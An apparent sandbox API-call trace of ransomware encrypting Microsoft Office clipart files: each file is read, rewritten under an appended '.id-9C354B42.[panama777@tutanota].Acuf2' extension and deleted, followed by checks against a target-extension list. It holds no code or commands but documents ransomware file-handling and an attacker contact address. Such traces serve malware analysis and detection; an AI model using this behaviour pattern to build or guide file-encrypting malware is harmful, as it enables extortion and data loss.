	[0268.195] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2704) returned 1
	[0268.195] CloseHandle (hObject=0x370) returned 1
	[0268.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20
	[0268.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.195] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.195] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.196] GetLastError () returned 0x0
	[0268.196] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xa90, lpOverlapped=0x0) returned 1
	[0268.197] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xaa0, lpOverlapped=0x0) returned 1
	[0268.198] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.198] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.198] SetEndOfFile (hFile=0x274) returned 1
	[0268.198] CloseHandle (hObject=0x274) returned 1
	[0268.199] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.199] SetEndOfFile (hFile=0x370) returned 1
	[0268.201] CloseHandle (hObject=0x370) returned 1
	[0268.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 1
	[0268.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63
	[0268.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63
	[0268.202] lstrlenW (lpString=".doc") returned 4
	[0268.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.202] lstrlenW (lpString=".docx") returned 5
	[0268.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.202] lstrlenW (lpString=".pdf") returned 4
	[0268.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.202] lstrlenW (lpString=".xls") returned 4
	[0268.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.202] lstrlenW (lpString=".xlsx") returned 5
	[0268.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.202] lstrlenW (lpString=".ppt") returned 4
	[0268.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63
	[0268.202] lstrlenW (lpString=".zip") returned 4
	[0268.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.202] lstrlenW (lpString=".rar") returned 4
	[0268.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.202] lstrlenW (lpString=".bz2") returned 4
	[0268.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.203] lstrlenW (lpString=".7z") returned 3
	[0268.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63
	[0268.203] lstrlenW (lpString=".dbf") returned 4
	[0268.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63
	[0268.203] lstrlenW (lpString=".1cd") returned 4
	[0268.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63
	[0268.203] lstrlenW (lpString=".jpg") returned 4
	[0268.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.203] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1324) returned 1
	[0268.203] CloseHandle (hObject=0x370) returned 1
	[0268.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20
	[0268.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.204] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.204] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.204] GetLastError () returned 0x0
	[0268.204] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x52c, lpOverlapped=0x0) returned 1
	[0268.212] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x530, lpOverlapped=0x0) returned 1
	[0268.213] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.213] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.213] SetEndOfFile (hFile=0x274) returned 1
	[0268.213] CloseHandle (hObject=0x274) returned 1
	[0268.213] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.213] SetEndOfFile (hFile=0x370) returned 1
	[0268.215] CloseHandle (hObject=0x370) returned 1
	[0268.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 1
	[0268.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63
	[0268.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63
	[0268.215] lstrlenW (lpString=".doc") returned 4
	[0268.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.216] lstrlenW (lpString=".docx") returned 5
	[0268.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.216] lstrlenW (lpString=".pdf") returned 4
	[0268.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.216] lstrlenW (lpString=".xls") returned 4
	[0268.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.216] lstrlenW (lpString=".xlsx") returned 5
	[0268.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.216] lstrlenW (lpString=".ppt") returned 4
	[0268.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63
	[0268.216] lstrlenW (lpString=".zip") returned 4
	[0268.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.216] lstrlenW (lpString=".rar") returned 4
	[0268.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.216] lstrlenW (lpString=".bz2") returned 4
	[0268.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.216] lstrlenW (lpString=".7z") returned 3
	[0268.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63
	[0268.216] lstrlenW (lpString=".dbf") returned 4
	[0268.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63
	[0268.216] lstrlenW (lpString=".1cd") returned 4
	[0268.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63
	[0268.216] lstrlenW (lpString=".jpg") returned 4
	[0268.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.217] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=7932) returned 1
	[0268.217] CloseHandle (hObject=0x370) returned 1
	[0268.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20
	[0268.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.217] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.217] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.218] GetLastError () returned 0x0
	[0268.218] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1efc, lpOverlapped=0x0) returned 1
	[0268.219] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1f00, lpOverlapped=0x0) returned 1
	[0268.220] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.220] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.220] SetEndOfFile (hFile=0x274) returned 1
	[0268.220] CloseHandle (hObject=0x274) returned 1
	[0268.220] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.220] SetEndOfFile (hFile=0x370) returned 1
	[0268.222] CloseHandle (hObject=0x370) returned 1
	[0268.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 1
	[0268.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63
	[0268.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63
	[0268.223] lstrlenW (lpString=".doc") returned 4
	[0268.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.223] lstrlenW (lpString=".docx") returned 5
	[0268.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.223] lstrlenW (lpString=".pdf") returned 4
	[0268.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.223] lstrlenW (lpString=".xls") returned 4
	[0268.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.223] lstrlenW (lpString=".xlsx") returned 5
	[0268.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.223] lstrlenW (lpString=".ppt") returned 4
	[0268.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63
	[0268.223] lstrlenW (lpString=".zip") returned 4
	[0268.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.223] lstrlenW (lpString=".rar") returned 4
	[0268.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.223] lstrlenW (lpString=".bz2") returned 4
	[0268.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.223] lstrlenW (lpString=".7z") returned 3
	[0268.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63
	[0268.224] lstrlenW (lpString=".dbf") returned 4
	[0268.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63
	[0268.224] lstrlenW (lpString=".1cd") returned 4
	[0268.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63
	[0268.224] lstrlenW (lpString=".jpg") returned 4
	[0268.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.225] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=5552) returned 1
	[0268.225] CloseHandle (hObject=0x370) returned 1
	[0268.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20
	[0268.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.225] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.225] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.226] GetLastError () returned 0x0
	[0268.226] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x15b0, lpOverlapped=0x0) returned 1
	[0268.227] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x15c0, lpOverlapped=0x0) returned 1
	[0268.228] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.228] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.228] SetEndOfFile (hFile=0x274) returned 1
	[0268.228] CloseHandle (hObject=0x274) returned 1
	[0268.228] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.228] SetEndOfFile (hFile=0x370) returned 1
	[0268.230] CloseHandle (hObject=0x370) returned 1
	[0268.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 1
	[0268.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63
	[0268.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63
	[0268.231] lstrlenW (lpString=".doc") returned 4
	[0268.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.231] lstrlenW (lpString=".docx") returned 5
	[0268.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.231] lstrlenW (lpString=".pdf") returned 4
	[0268.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.231] lstrlenW (lpString=".xls") returned 4
	[0268.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.231] lstrlenW (lpString=".xlsx") returned 5
	[0268.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.231] lstrlenW (lpString=".ppt") returned 4
	[0268.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63
	[0268.231] lstrlenW (lpString=".zip") returned 4
	[0268.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.231] lstrlenW (lpString=".rar") returned 4
	[0268.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.231] lstrlenW (lpString=".bz2") returned 4
	[0268.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.231] lstrlenW (lpString=".7z") returned 3
	[0268.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63
	[0268.232] lstrlenW (lpString=".dbf") returned 4
	[0268.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63
	[0268.232] lstrlenW (lpString=".1cd") returned 4
	[0268.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63
	[0268.232] lstrlenW (lpString=".jpg") returned 4
	[0268.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.232] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4970) returned 1
	[0268.232] CloseHandle (hObject=0x370) returned 1
	[0268.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20
	[0268.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.233] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.233] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.233] GetLastError () returned 0x0
	[0268.233] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x136a, lpOverlapped=0x0) returned 1
	[0268.416] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1370, lpOverlapped=0x0) returned 1
	[0268.417] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
